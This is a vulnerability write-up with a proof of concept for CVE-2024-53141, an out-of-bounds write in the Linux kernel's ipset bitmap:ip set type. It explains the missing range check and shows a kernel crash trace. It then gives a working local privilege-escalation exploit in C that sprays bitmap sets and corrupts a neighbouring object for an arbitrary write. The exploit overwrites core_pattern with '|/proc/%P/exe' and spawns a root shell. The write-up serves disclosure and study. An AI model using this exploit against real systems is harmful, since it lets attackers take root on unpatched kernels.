• Up to commit 041bd1e4 in torvalds’s linux kernel repository
• Up to kernel 6.12.2

Vendor Response

Linux kernel release the patch (https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=35f56c554eb1b56b77b3cf197a6b00922d49033d)

Background

The ipset subsystem in the Linux kernel is a framework used for efficiently managing sets of IP addresses, networks, and port numbers for high-performance packet filtering, commonly in conjunction with iptables or nftables.

The subsystem supports various set types, each optimized for different use cases, including bitmap:ip. This set type is designed for efficient storage and lookup of a contiguous range of IPv4 addresses using a bitmap data structure.

In particularly, bitmap:ip represents a range of IP addresses as a bitmap (bit array), where:

• Each bit corresponds to to one IPv4 address
• If a bit is (un)set, the corresponding IP is (not) in the set
  Note that the range must be defined up front when creating set (e.g., from 192.168.1.0 to 192.168.1.255)

Classless Inter-Domain Routing (CIDR)
CIDR is a method for allocating IP addresses and routing Internet Protocol packets. It replaces the old system of IP address classes (A, B, C) and allows for more efficient and flexible use of IP address space. A CIDR address is written in the format IP_Address/Prefix_Length, e.g, 192.168.1.0/24 refers to all IP addresses from 192.168.1.0 to 192.168.1.255

All commands are dispatched based on a static array defined in net/netfilter/ipset/ip_set_core.c

static

const struct nfnl_callback ip_set_netlink_subsys_cb[IPSET_MSG_MAX] = {

[IPSET_CMD_NONE] = {

.call = ip_set_none,

.type = NFNL_CB_MUTEX,

.attr_count = IPSET_ATTR_CMD_MAX,

},

[IPSET_CMD_CREATE] = {

.call = ip_set_create,

.type = NFNL_CB_MUTEX,

.attr_count = IPSET_ATTR_CMD_MAX,

.policy = ip_set_create_policy,

},

…

};

First, in order to interact with ipset subsystem through netfilter, we setup some values on message header:

char buffer[4096] = {};

unsigned int convertIP(const char * ip) {

struct in_addr addr;

inet_pton(AF_INET, ip, & addr);

return ntohl(addr.s_addr);

}

void init_msg(struct nlmsghdr * msg, uint16_t cmd) {

struct nfgenmsg * data = NLMSG_DATA(msg);

msg -> nlmsg_len = NLMSG_HDRLEN + sizeof( * data);

msg -> nlmsg_type = (NFNL_SUBSYS_IPSET << 8) | cmd;

msg -> nlmsg_flags = NLM_F_REQUEST;

msg -> nlmsg_seq = 0;

msg -> nlmsg_pid = 0;

data -> nfgen_family = NFPROTO_IPV4;

data -> res_id = htons(NFNL_SUBSYS_IPSET);

u8 proto = IPSET_PROTOCOL;

netlink_attr_put(msg, IPSET_ATTR_PROTOCOL, & proto, sizeof(proto));

}

Create Set

To create a set, we send the command IPSET_CMD_CREATE with proper arguments, which initializes values of name, type, range ip, …

void create_bitmap_set(int sock,

const char * setname,

const char * range_start,

const char * range_end) {

struct nlmsghdr * msg = (struct nlmsghdr * ) buffer;

init_msg(msg, IPSET_CMD_CREATE);

netlink_attr_put(msg, IPSET_ATTR_SETNAME, setname, strlen(setname) + 1);

netlink_attr_put(msg, IPSET_ATTR_TYPENAME, “bitmap:ip”, strlen(“bitmap:ip”) + 1);

u8 revision = 3;

netlink_attr_put(msg, IPSET_ATTR_REVISION, & revision, sizeof(u8));

u8 family = NFPROTO_IPV4;

netlink_attr_put(msg, IPSET_ATTR_FAMILY, & family, sizeof(u8));

struct nlattr * setdata = netlink_nest_begin(msg, IPSET_ATTR_DATA);

u32 from = convertIP(range_start);

struct nlattr * ip_from = netlink_attr_nest_begin(setdata, IPSET_ATTR_IP);

netlink_attr_append(ip_from, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, & from, sizeof(u32));

netlink_attr_nest_end(setdata, ip_from);

u32 to = convertIP(range_end);

struct nlattr * ip_to = netlink_attr_nest_begin(setdata, IPSET_ATTR_IP_TO);

netlink_attr_append(ip_to, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, & to, sizeof(u32));

netlink_attr_nest_end(setdata, ip_to);

u32 flags = htonl(IPSET_FLAG_WITH_COUNTERS | IPSET_FLAG_WITH_SKBINFO);

netlink_attr_append(setdata, IPSET_ATTR_CADT_FLAGS | NLA_F_NET_BYTEORDER, & flags, sizeof(u32));

netlink_nest_end(msg, setdata);

SYSCHK(netlink_send(sock, msg));

return 0;

}

The above function allows user to run into this function in kernel space, which eventually call to a create callback from family / type.

static int ip_set_create(struct sk_buff * skb,

const struct nfnl_info * info,

const struct nlattr *

const attr[]) {

…

if (unlikely(protocol_min_failed(attr) ||

!attr[IPSET_ATTR_SETNAME] ||

!attr[IPSET_ATTR_TYPENAME] ||

!attr[IPSET_ATTR_REVISION] ||

!attr[IPSET_ATTR_FAMILY] ||

(attr[IPSET_ATTR_DATA] &&

!flag_nested(attr[IPSET_ATTR_DATA]))))

return -IPSET_ERR_PROTOCOL;

name = nla_data(attr[IPSET_ATTR_SETNAME]);

typename = nla_data(attr[IPSET_ATTR_TYPENAME]);

family = nla_get_u8(attr[IPSET_ATTR_FAMILY]);

revision = nla_get_u8(attr[IPSET_ATTR_REVISION]);

printk(“setname: %s, typename: %s, family: %s, revision: %u\n”,

name, typename, family_name(family), revision);

set = kzalloc(sizeof( * set), GFP_KERNEL);

if (!set)

return -ENOMEM;

…

ret = set -> type -> create(info -> net, set, tb, flags);

…

pr_debug(“create: ‘%s’ created with index %u!\n”, set -> name, index);

ip_set(inst, index) = set;

return ret;

cleanup: set -> variant -> cancel_gc(set);

set -> variant -> destroy(set);

put_out: module_put(set -> type -> me);

out: kfree(set);

return ret;

}

Add IP range

To add an IP range into a given set, we send command IPSET_CMD_ADD.

void add_ip_range_to_set(int sock,

const char * name,

const char * start,

const char * end, u8 use_cidr, struct extension * params) {

struct nlmsghdr * msg = (struct nlmsghdr * ) buffer;

init_msg(msg, IPSET_CMD_ADD);

netlink_attr_put(msg, IPSET_ATTR_SETNAME, name, strlen(name) + 1);

struct nlattr * setdata = netlink_nest_begin(msg, IPSET_ATTR_DATA);

u32 from = convertIP(start);

struct nlattr * ip_from = netlink_attr_nest_begin(setdata, IPSET_ATTR_IP);

netlink_attr_append(ip_from, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, & from, sizeof(u32));

netlink_attr_nest_end(setdata, ip_from);

if (end) {

u32 to = convertIP(end);

struct nlattr * ip_to = netlink_attr_nest_begin(setdata, IPSET_ATTR_IP_TO);

netlink_attr_append(ip_to, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, & to, sizeof(u32));

netlink_attr_nest_end(setdata, ip_to);

}

if (use_cidr)

netlink_attr_append(setdata, IPSET_ATTR_CIDR, & use_cidr, sizeof(use_cidr));

add_extensions_to_set(setdata, params);

netlink_nest_end(msg, setdata);

SYSCHK(netlink_send(sock, msg));

}

Moreover, each element may have additional attributes, called extensions.

struct extension {

u64 skbmark;

u32 skbprio;

u16 skbqueue;

char * comment;

u64 bytes;

u64 packets;

};

void add_extensions_to_set(struct nlattr * setdata, struct extension * params) {

if (params) {

if (params -> skbmark) {

netlink_attr_append(setdata, IPSET_ATTR_SKBMARK | NLA_F_NET_BYTEORDER, & params -> skbmark, sizeof(u64));

}

if (params -> skbprio) {

netlink_attr_append(setdata, IPSET_ATTR_SKBPRIO | NLA_F_NET_BYTEORDER, & params -> skbprio, sizeof(u32));

}

if (params -> skbqueue) {

netlink_attr_append(setdata, IPSET_ATTR_SKBQUEUE | NLA_F_NET_BYTEORDER, & params -> skbqueue, sizeof(u16));

}

if (params -> comment)

netlink_attr_append(setdata, IPSET_ATTR_COMMENT, params -> comment, strlen(params -> comment) + 1);

if (params -> bytes) {

netlink_attr_append(setdata, IPSET_ATTR_BYTES | NLA_F_NET_BYTEORDER, & params -> bytes, sizeof(u64));

}

if (params -> packets) {

netlink_attr_append(setdata, IPSET_ATTR_PACKETS | NLA_F_NET_BYTEORDER, & params -> packets, sizeof(u64));

}

}

}

These snippets code let us come into the callback ip_set_ad under kernel

static int ip_set_ad(struct net * net, struct sock * ctnl,

struct sk_buff * skb,

enum ipset_adt adt,

const struct nlmsghdr * nlh,

const struct nlattr *

const attr[],

struct netlink_ext_ack * extack) {

…

if (unlikely(protocol_min_failed(attr) ||

!attr[IPSET_ATTR_SETNAME] ||

!((attr[IPSET_ATTR_DATA] != NULL) ^

(attr[IPSET_ATTR_ADT] != NULL)) ||

(attr[IPSET_ATTR_DATA] &&

!flag_nested(attr[IPSET_ATTR_DATA])) ||

(attr[IPSET_ATTR_ADT] &&

(!flag_nested(attr[IPSET_ATTR_ADT]) ||

!attr[IPSET_ATTR_LINENO]))))

return -IPSET_ERR_PROTOCOL;

set = find_set(inst, nla_data(attr[IPSET_ATTR_SETNAME]));

if (!set)

return -ENOENT;

use_lineno = !!attr[IPSET_ATTR_LINENO];

if (attr[IPSET_ATTR_DATA]) {

if (nla_parse_nested(tb, IPSET_ATTR_ADT_MAX,

attr[IPSET_ATTR_DATA],

set -> type -> adt_policy, NULL))

return -IPSET_ERR_PROTOCOL;

ret = call_ad(net, ctnl, skb, set, tb, adt, flags,

use_lineno);

} else {

int nla_rem;

nla_for_each_nested(nla, attr[IPSET_ATTR_ADT], nla_rem) {

if (nla_type(nla) != IPSET_ATTR_DATA ||

!flag_nested(nla) ||

nla_parse_nested(tb, IPSET_ATTR_ADT_MAX, nla,

set -> type -> adt_policy, NULL))

return -IPSET_ERR_PROTOCOL;

ret = call_ad(net, ctnl, skb, set, tb, adt,

flags, use_lineno);

if (ret < 0)

return ret;

}

}

return ret;

}

If the given setname is found, after parsing extra arguments, the kernel will call call_ad to perform an actual addition based on family and type of set.

Delete bitmap set

To delete a bitmap set, we can send command IPSET_CMD_DESTROY with desired set name

void del_bitmap_set(int sock,

const char * name) {

struct nlmsghdr * msg = (struct nlmsghdr * ) buffer;

init_msg(msg, IPSET_CMD_DESTROY);

netlink_attr_put(msg, IPSET_ATTR_SETNAME, name, strlen(name) + 1);

SYSCHK(netlink_send(sock, msg));

}

Or we also can delete an element from a set

void del_bitmap_element(int sock,

const char * name, u32 ip, struct extension * params) {

memset(buffer, 0, sizeof(buffer));

struct nlmsghdr * msg = (struct nlmsghdr * ) buffer;

init_msg(msg, IPSET_CMD_DEL);

netlink_attr_put(msg, IPSET_ATTR_SETNAME, name, strlen(name) + 1);

struct nlattr * setdata = netlink_nest_begin(msg, IPSET_ATTR_DATA);

ip = htonl(ip);

struct nlattr * ipa = netlink_attr_nest_begin(setdata, IPSET_ATTR_IP);

netlink_attr_append(ipa, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, & ip, sizeof(ip));

netlink_attr_nest_end(setdata, ipa);

add_extensions_to_set(setdata, params);

netlink_nest_end(msg, setdata);

SYSCHK(netlink_send(sock, msg));

}

Vulnerability Details

There are some type of ipset based on purpose, such as ipset used in netfilter for ipv4 with bitmap-ing. Its callbacks include: bitmap_ip_create , bitmap_ip_uadt , bitmap_ip_destroy, etc …

Let’s take a look at how it add an ip range in file net/netfilter/ipset/ip_set_bitmap_ip.c

static int

bitmap_ip_uadt(struct ip_set * set, struct nlattr * tb[],

enum ipset_adt adt, u32 * lineno, u32 flags, bool retried) {

…

ret = ip_set_get_hostipaddr4(tb[IPSET_ATTR_IP], & ip);

…

if (tb[IPSET_ATTR_IP_TO]) {

ret = ip_set_get_hostipaddr4(tb[IPSET_ATTR_IP_TO], & ip_to);

if (ret)

return ret;

if (ip > ip_to) {

swap(ip, ip_to);

if (ip < map -> first_ip)

return -IPSET_ERR_BITMAP_RANGE;

}

} else if (tb[IPSET_ATTR_CIDR]) {

u8 cidr = nla_get_u8(tb[IPSET_ATTR_CIDR]);

if (!cidr || cidr > HOST_MASK)

return -IPSET_ERR_INVALID_CIDR;

ip_set_mask_from_to(ip, ip_to, cidr);

} else {

ip_to = ip;

}

…

}

As we can see, the subsystem allows user to adding a range of entire CIDR to the set, which means it sets all bits range starting from first one ( tb[IPSET_ATTR_IP] ) in the bitmap. When tb[IPSET_ATTR_IP_TO] is not present but tb[IPSET_ATTR_CIDR] exists,
the values of ip and ip_to are slightly swapped, however, not like the case with ip and ip_to, this case doesn’t check if new ip is lower than map->first_ip, which leads to an out-of-bound later.

Firstly, in order to trigger the vulnerable context, we create a bitmap set from 0 -> n, then we add an ip with CIDR that when we perform AND bitwise with given ip, the new one will be underflow. Note that

create_bitmap_set(sock, “victim”, 0xFFFFFFF3, 0xFFFFFFFF);

add_ip_range_to_set(sock, “test”, 0xFFFFFFF3, 0, 16, NULL);

Then we got a kernel panic

root@syzkaller:/mnt/share# ./CVE_2024_53141

[ 134.374895] RIP: 0010:bitmap_ip_add+0x39/0x1c0

[ 134.375145] Code: 89 d7 49 89 f6 48 89 fb 4c 8b a7 90 00 00 00 0f b7 06 48 8b 4f 68 48 0f af c8 4d 8d 2c 0c 49 83 c5 58 49 8b 0c 24 48 0f a3 01 <73> 61 0f b6 43 52 a8 09

[ 134.375870] RSP: 0018:ffffc90000527358 EFLAGS: 00000282

[ 134.376078] RAX: 00000000000023a2 RBX: ffff8881051520c0 RCX: ffff8881009c4d58

[ 134.376357] RDX: ffffc90000527398 RSI: ffffc900005273ca RDI: ffff8881051520c0

[ 134.376631] RBP: 00000000ffffffff R08: 0000000000000001 R09: 0000000000000100

[ 134.376917] R10: 0000000000000001 R11: ffffffff81da1da0 R12: ffff888101591000

[ 134.377193] R13: ffff8881015d8498 R14: ffffc900005273ca R15: ffffc90000527398

[ 134.377464] ? __pfx_bitmap_ip_add+0x10/0x10

[ 134.377636] ? bitmap_ip_add+0x15b/0x1c0

[ 134.377801] ? __pfx_bitmap_ip_add+0x10/0x10

[ 134.377971] bitmap_ip_uadt+0x212/0x260

[ 134.378123] call_ad+0x7f/0x3e0

[ 134.378250] ? __nla_validate_parse+0x93/0xee0

[ 134.378427] ip_set_ad+0x2de/0x320

[ 134.378564] nfnetlink_rcv_msg+0x2fc/0x390

[ 134.378736] ? skb_queue_tail+0x1b/0x50

[ 134.378887] ? sock_def_readable+0xf/0xc0

[ 134.379054] ? __pfx_nfnetlink_rcv_msg+0x10/0x10

[ 134.379235] netlink_rcv_skb+0xe9/0x120

[ 134.379385] nfnetlink_rcv+0x1ee/0xaf0

[ 134.379533] ? nla_put+0x78/0x90

[ 134.379661] ? inet6_fill_ifla6_attrs+0x5c3/0x620

[ 134.379860] ? kmem_cache_free+0x17/0x280

[ 134.380019] ? selinux_netlink_send+0x99/0x260

[ 134.380197] ? kmalloc_reserve+0x45/0xf0

[ 134.380353] ? _copy_from_iter+0x74/0x620

[ 134.380509] netlink_unicast+0x252/0x370

[ 134.380662] netlink_sendmsg+0x309/0x3b0

[ 134.380828] __sock_sendmsg+0x84/0xa0

[ 134.380977] ____sys_sendmsg+0x1ae/0x210

[ 134.381136] ? xas_find+0x76/0x1c0

[ 134.381271] ___sys_sendmsg+0x28a/0x2d0

[ 134.381423] ? filemap_map_pages+0x5a7/0x650

[ 134.381596] __se_sys_sendmsg+0xf2/0x130

[ 134.381772] do_syscall_64+0xd0/0x1a0

[ 134.381925] ? arch_exit_to_user_mode_prepare+0x11/0x60

[ 134.382152] ? irqentry_exit_to_user_mode+0x8e/0xb0

[ 134.382332] entry_SYSCALL_64_after_hwframe+0x77/0x7f

Looking deeper at the reason why it crashes, after achieving out-of-bound access, function bitmap_ip_uadt calls to function pointer adtfn, which currently points to mtype_add

static int

mtype_add(struct ip_set * set, void * value,

const struct ip_set_ext * ext,

struct ip_set_ext * mext, u32 flags) {

struct mtype * map = set -> data;

const struct mtype_adt_elem * e = value;

void * x = get_ext(set, map, e -> id);

int ret = mtype_do_add(e, map, flags, set -> dsize);

if (ret == IPSET_ADD_FAILED) {

if (SET_WITH_TIMEOUT(set) &&

ip_set_timeout_expired(ext_timeout(x, set))) {

set -> elements — ;

ret = 0;

} else if (!(flags & IPSET_FLAG_EXIST)) {

set_bit(e -> id, map -> members);

return -IPSET_ERR_EXIST;

}

/* Element is re-added, cleanup extensions */

ip_set_ext_destroy(set, x);

}

if (ret > 0)

set -> elements — ;

if (SET_WITH_TIMEOUT(set))

#ifdef IP_SET_BITMAP_STORED_TIMEOUT

mtype_add_timeout(ext_timeout(x, set), e, ext, set, map, ret);

#else

ip_set_timeout_set(ext_timeout(x, set), ext -> timeout);

#endif

if (SET_WITH_COUNTER(set))

ip_set_init_counter(ext_counter(x, set), ext);

if (SET_WITH_COMMENT(set))

ip_set_init_comment(set, ext_comment(x, set), ext);

if (SET_WITH_SKBINFO(set))

ip_set_init_skbinfo(ext_skbinfo(x, set), ext);

/* Activate element */

set_bit(e -> id, map -> members);

set -> elements++;

return 0;

}

So before adding, the ip was converted to index by calling ip_to_id(). At this point note that e.id is a u16 contrary to the index calculation which is performed on u32. This means the negative index calculated will be truncated before setting the associated bit in the bitmap. This essentially corresponds to an out-of-bounds write far beyond the end of the bitmap. To get this index into a saner range we have to underflow the subtraction large enough so that the truncated result is a somewhat small positive u16.

After that it copies given ip’s extensions based on index, which give us a write primitive.

Exploitation

In general, now we have an out-of-bound write primitive by setting extension’s data. Here is the details of struct bitmap_ip

struct bitmap_ip {

unsigned long * members; /* the set members */

u32 first_ip; /* host byte order, included in range */

u32 last_ip; /* host byte order, included in range */

u32 elements; /* number of max elements in the set */

u32 hosts; /* number of hosts in a subnet */

size_t memsize; /* members size */

u8 netmask; /* subnet netmask */

struct timer_list gc; /* garbage collection */

struct ip_set * set; /* attached to this ip_set */

unsigned char extensions[] /* data extensions */

__aligned(__alignof__(u64));

};

So the main strategy here is about trying to overwrite the pointer members , first_ip and last_ip of arbitrary bitmap_ip object then we can turn our limited out-of-bound write to fully arbitrary write primitive.

Adding log printer when creating a set, we can easily view the memory layout

[ 22.250934] Create: after_0 data @ 0xffff888105b63c00

[ 22.251323] Create: after_1 data @ 0xffff888105b64000

Let’s dump a normal bitmap_ip object

pwndbg> x/20gx 0xffff888105b64000

0xffff888105b64000: 0xffff8881009c4650 0x0000000d00000000

0xffff888105b64010: 0x000000010000000e 0x0000000000000008

0xffff888105b64020: 0x0000000000000020 0x0000000000000000

0xffff888105b64030: 0x0000000000000000 0x0000000000000000

0xffff888105b64040: 0x0000000000000000 0x0000000000000000

0xffff888105b64050: 0xffff888100a10a80 0x0000000000000000

0xffff888105b64060: 0x0000000000000000 0x0000000000000000

0xffff888105b64070: 0x0000000000000000 0x0000000000000000

0xffff888105b64080: 0x0000000000000000 0x0000000000000000

0xffff888105b64090: 0x0000000000000000 0x0000000000000000

pwndbg> p *(struct bitmap_ip *)0xffff888105b64000

$6 = {

members = 0xffff8881009c4650,

first_ip = 0,

last_ip = 13,

elements = 14,

hosts = 1,

memsize = 8,

netmask = 32 ‘ ‘,

gc = {

entry = {

next = 0x0 <fixed_percpu_data>,

pprev = 0x0 <fixed_percpu_data>

},

expires = 0,

function = 0x0 <fixed_percpu_data>,

flags = 0

},

set = 0xffff888100a10a80,

extensions = 0xffff888105b64058 “”

}

Each object is far from the other by 0x400 bytes, meanwhile the maximum number of times we are about writing is 16 bit = 0xffff, that means:

• We need to allocate many bitmap_ip object so we won’t overwrite any other kernel pointers
• By looking at the memory layout when overwriting, we can see that the first next object will be overwritten with extension + 8, then
• ext.packets is the member pointer
• ext.skbmark is the combination of first_ip and last_ip
  Note that the last field of bitmap_ip we can overwrite is memsize, so the netmask will be the beginning byte of next object, which is the least significant byte of member in our attack scenario. So we need to adjust the address of target to make it valid. The memory will looks like this

pwndbg> x/20gx 0xffff888105b64000

0xffff888105b64000: 0x4141414141414141 0x4242424242424242

0xffff888105b64010: 0x4343434343434343 0x4444444400000000

0xffff888105b64020: 0x4141414141414141 0x4242424242424242

0xffff888105b64030: 0x4343434343434343 0x4444444400000000

0xffff888105b64040: 0x4141414141414141 0x4242424242424242

0xffff888105b64050: 0x4343434343434343 0x4444444400000000

0xffff888105b64060: 0x4141414141414141 0x4242424242424242

0xffff888105b64070: 0x4343434343434343 0x4444444400000000

0xffff888105b64080: 0x4141414141414141 0x4242424242424242

0xffff888105b64090: 0x4343434343434343 0x4444444400000000

Finally, we will modify the value of core_pattern to gain root by doing:

• Set member pointer point to address of core_pattern
• The target string will be |/proc/%P/exe, then for each bit of target string, if the value at that index is bit true, then we enable that index in bitmap range in overwritten bitmap_ip object

Proof-of-Concept

Due to lack of read primitive, in this post, we assume that we have already known the kernel base address to bypass KALSR.

#define _GNU_SOURCE

#include <sched.h>

#include <inttypes.h>

#include <fcntl.h>

#include <err.h>

#include <stdio.h>

#include <stdlib.h>

#include <stdint.h>

#include <string.h>

#include <unistd.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/mman.h>

#include <sys/resource.h>

#include <sys/types.h>

#include <sys/syscall.h>

#include <linux/membarrier.h>

#include “netlink.h”

#define SYSCHK(x)({

typeof (x) __tmp = (x);

if (__tmp == (typeof (x)) — 1) {

err(EXIT_FAILURE, #x);

}

__tmp;

})

char buffer[4096] = {};

static void pin_to_cpu(int id) {

cpu_set_t set;

CPU_ZERO( & set);

CPU_SET(id, & set);

SYSCHK(sched_setaffinity(getpid(), sizeof(set), & set));

}

static void synchronize_rcu() {

SYSCHK(syscall(__NR_membarrier, MEMBARRIER_CMD_GLOBAL, 0, -1));

}

void create_bitmap_set(const char * setname, u32 start, u32 end) {

netlink_init_msg((NFNL_SUBSYS_IPSET << 8) | IPSET_CMD_CREATE, htons(NFNL_SUBSYS_IPSET), IPSET_PROTOCOL);

netlink_attr_put(IPSET_ATTR_SETNAME, setname, strlen(setname) + 1);

netlink_attr_put(IPSET_ATTR_TYPENAME, “bitmap:ip”, strlen(“bitmap:ip”) + 1);

u8 revision = 3;

netlink_attr_put(IPSET_ATTR_REVISION, & revision, sizeof(u8));

u8 family = NFPROTO_IPV4;

netlink_attr_put(IPSET_ATTR_FAMILY, & family, sizeof(u8));

struct nlattr * setdata = netlink_nest_begin(IPSET_ATTR_DATA);

u32 from = htonl(start);

struct nlattr * ip_from = netlink_attr_nest_begin(setdata, IPSET_ATTR_IP);

netlink_attr_append(ip_from, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, & from, sizeof(u32));

netlink_attr_nest_end(setdata, ip_from);

u32 to = htonl(end);

struct nlattr * ip_to = netlink_attr_nest_begin(setdata, IPSET_ATTR_IP_TO);

netlink_attr_append(ip_to, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, & to, sizeof(u32));

netlink_attr_nest_end(setdata, ip_to);

u32 flags = htonl(IPSET_FLAG_WITH_COUNTERS | IPSET_FLAG_WITH_SKBINFO);

netlink_attr_append(setdata, IPSET_ATTR_CADT_FLAGS | NLA_F_NET_BYTEORDER, & flags, sizeof(u32));

netlink_nest_end(setdata);

}

struct extension {

u64 skbmark;

u32 skbprio;

u16 skbqueue;

char * comment;

u64 bytes;

u64 packets;

};

void add_extensions_to_set(struct nlattr * setdata, struct extension * params) {

if (params) {

if (params -> skbmark) {

netlink_attr_append(setdata, IPSET_ATTR_SKBMARK | NLA_F_NET_BYTEORDER, & params -> skbmark, sizeof(u64));

}

if (params -> skbprio) {

netlink_attr_append(setdata, IPSET_ATTR_SKBPRIO | NLA_F_NET_BYTEORDER, & params -> skbprio, sizeof(u32));

}

if (params -> skbqueue) {

netlink_attr_append(setdata, IPSET_ATTR_SKBQUEUE | NLA_F_NET_BYTEORDER, & params -> skbqueue, sizeof(u16));

}

if (params -> comment)

netlink_attr_append(setdata, IPSET_ATTR_COMMENT, params -> comment, strlen(params -> comment) + 1);

if (params -> bytes) {

netlink_attr_append(setdata, IPSET_ATTR_BYTES | NLA_F_NET_BYTEORDER, & params -> bytes, sizeof(u64));

}

if (params -> packets) {

netlink_attr_append(setdata, IPSET_ATTR_PACKETS | NLA_F_NET_BYTEORDER, & params -> packets, sizeof(u64));

}

}

}

void add_ip_range_to_set(const char * name, u32 start, u32 end, u8 use_cidr, struct extension * params) {

netlink_init_msg((NFNL_SUBSYS_IPSET << 8) | IPSET_CMD_ADD, htons(NFNL_SUBSYS_IPSET), IPSET_PROTOCOL);

netlink_attr_put(IPSET_ATTR_SETNAME, name, strlen(name) + 1);

struct nlattr * setdata = netlink_nest_begin(IPSET_ATTR_DATA);

u32 from = htonl(start);

struct nlattr * ip_from = netlink_attr_nest_begin(setdata, IPSET_ATTR_IP);

netlink_attr_append(ip_from, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, & from, sizeof(u32));

netlink_attr_nest_end(setdata, ip_from);

if (end) {

u32 to = htonl(end);

struct nlattr * ip_to = netlink_attr_nest_begin(setdata, IPSET_ATTR_IP_TO);

netlink_attr_append(ip_to, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, & to, sizeof(u32));

netlink_attr_nest_end(setdata, ip_to);

}

if (use_cidr)

netlink_attr_append(setdata, IPSET_ATTR_CIDR, & use_cidr, sizeof(use_cidr));

add_extensions_to_set(setdata, params);

netlink_nest_end(setdata);

}

void del_bitmap_set(const char * name) {

netlink_init_msg((NFNL_SUBSYS_IPSET << 8) | IPSET_CMD_DESTROY, htons(NFNL_SUBSYS_IPSET), IPSET_PROTOCOL);

netlink_attr_put(IPSET_ATTR_SETNAME, name, strlen(name) + 1);

}

void del_bitmap_element(const char * name, u32 ip, struct extension * params) {

netlink_init_msg((NFNL_SUBSYS_IPSET << 8) | IPSET_CMD_DEL, htons(NFNL_SUBSYS_IPSET), IPSET_PROTOCOL);

netlink_attr_put(IPSET_ATTR_SETNAME, name, strlen(name) + 1);

struct nlattr * setdata = netlink_nest_begin(IPSET_ATTR_DATA);

ip = htonl(ip);

struct nlattr * ipa = netlink_attr_nest_begin(setdata, IPSET_ATTR_IP);

netlink_attr_append(ipa, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, & ip, sizeof(ip));

netlink_attr_nest_end(setdata, ipa);

add_extensions_to_set(setdata, params);

netlink_nest_end(setdata);

}

int main(int argc, char * argv[]) {

if (!getuid()) {

pid_t pid;

sscanf(argv[0], “/proc/%u/exe”, & pid);

#ifndef SYS_pidfd_getfd

#define SYS_pidfd_getfd 438

#endif

int pfd = syscall(SYS_pidfd_open, pid, 0);

int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);

int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);

int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);

dup2(stdinfd, 0);

dup2(stdoutfd, 1);

dup2(stderrfd, 2);

char * shell[] = {

“/bin/sh”,

NULL,

};

execve(shell[0], shell, NULL);

return 0;

}

int pds[2];

SYSCHK(pipe(pds));

int pid = fork();

if (pid == 0) {

char * ptr = NULL;

u8 b;

read(pds[0], & b, 1);

ptr[1] = 1;

}

SYSCHK(unshare(CLONE_NEWUSER | CLONE_NEWNET));

netlink_open(NETLINK_NETFILTER);

netlink_bind_msg(buffer);

pin_to_cpu(1);

char name[32];

memset(name, 0, sizeof(name));

u8 cidr = 16;

u32 end_ip = 13;

printf(“[+] Fill the page memory\n”);

for (int i = 0; i < 0x80; ++i) {

snprintf(name, sizeof(name), “before_%d”, i);

create_bitmap_set(name, 0, end_ip);

netlink_next_msg();

}

printf(“[+] Remove the last one then reclaim by evil set\n”);

del_bitmap_set(name);

netlink_next_msg();

netlink_commit();

synchronize_rcu();

create_bitmap_set(“evil”, 0xFFFFFFFF — end_ip, 0xFFFFFFFF);

netlink_next_msg();

for (int i = 0; i < 0x80; ++i) {

snprintf(name, sizeof(name), “after_%d”, i);

create_bitmap_set(name, 0, end_ip);

netlink_next_msg();

}

netlink_commit();

printf(“[+] Add some more elements\n”);

for (int i = 0; i < 0x80–1; ++i) {

snprintf(name, sizeof(name), “before_%d”, i);

add_ip_range_to_set(name, 0, end_ip, 0, NULL);

netlink_next_msg();

}

for (int i = 0; i < 0x80; ++i) {

snprintf(name, sizeof(name), “after_%d”, i);

add_ip_range_to_set(name, 0, end_ip, 0, NULL);

netlink_next_msg();

}

netlink_commit();

printf(“[+] Craft evil object\n”);

u32 first_ip = 0;

u32 last_ip = 0x100;

uint64_t near_core_pattern_addr = 0xffffffff82d74620;

struct extension ext = {

.bytes = 8,

.packets = __builtin_bswap64(near_core_pattern_addr),

.skbmark = ((u64) last_ip << 32) | (u64) first_ip,

.skbprio = 1,

.skbqueue = 0x0100

};

add_ip_range_to_set(“evil”, 0xFFFFFFFF — end_ip, 0, cidr, & ext);

netlink_add_flags(NLM_F_EXCL);

netlink_next_msg();

netlink_commit();

memset( & ext, 0, sizeof(ext));

ext.bytes = ~0;

ext.packets = ~0;

printf(“[+] Overwrite core_pattern\n”);

const char core_pattern[] = “|/proc/%P/exe”;

struct extension tmp = {

.skbprio = 1

};

int offset = 0xf0;

for (int i = 0; i < strlen(core_pattern); ++i) {

netlink_clear_msg();

for (int j = 0; j < 8; ++j) {

u32 value = (i + offset) * 8 + j;

if ((core_pattern[i] >> j) & 1)

add_ip_range_to_set(“after_0”, value, 0, 0, & ext);

else

del_bitmap_element(“after_0”, value, & tmp);

netlink_next_msg();

}

netlink_commit();

}

char tmp_buf[100];

int core = SYSCHK(open(“/proc/sys/kernel/core_pattern”, O_RDONLY));

read(core, tmp_buf, sizeof(tmp_buf));

close(core);

if (strncmp((char * ) tmp_buf, core_pattern, strlen(core_pattern)) == 0) {

write(pds[1], “”, 1);

} else {

printf(“core pattern override failed?: %s\n”, (char * ) tmp_buf);

}

while (1) {}

return 0;

}

Demo

Patch

The patch is simple, by moving all checks to the last_ip

diff — git a/net/netfilter/ipset/ip_set_bitmap_ip.c b/net/netfilter/ipset/ip_set_bitmap_ip.c

index e4fa00abde6a2a..5988b9bb9029dc 100644

— — a/net/netfilter/ipset/ip_set_bitmap_ip.c

+++ b/net/netfilter/ipset/ip_set_bitmap_ip.c

@@ -163,11 +163,8 @@ bitmap_ip_uadt(struct ip_set *set, struct nlattr *tb[],

